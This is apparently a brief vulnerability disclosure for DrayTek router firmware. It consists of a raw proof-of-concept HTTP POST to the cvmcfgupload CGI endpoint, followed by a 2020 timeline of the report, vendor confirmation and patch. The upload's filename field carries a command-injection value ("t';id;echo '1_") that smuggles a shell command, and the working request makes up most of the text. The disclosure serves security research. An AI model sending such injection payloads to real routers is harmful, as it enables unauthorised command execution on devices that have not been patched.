poc
POST /cgi-bin/mainfunction.cgi/cvmcfgupload?1=2 HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxxx
Content-Length: 174
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en;q=0.9,zh-CN;q=0.8,la;q=0.7
Connection: close
------WebKitFormBoundary
Content-Disposition: form-data; name="abc"; filename="t';id;echo '1_"
Content-Type: text/x-python-script
------WebKitFormBoundary--
04/13/2020 report to DreyTek
04/13/2020 DreyTek confirm it
06/18/2020 DreyTek release a new version.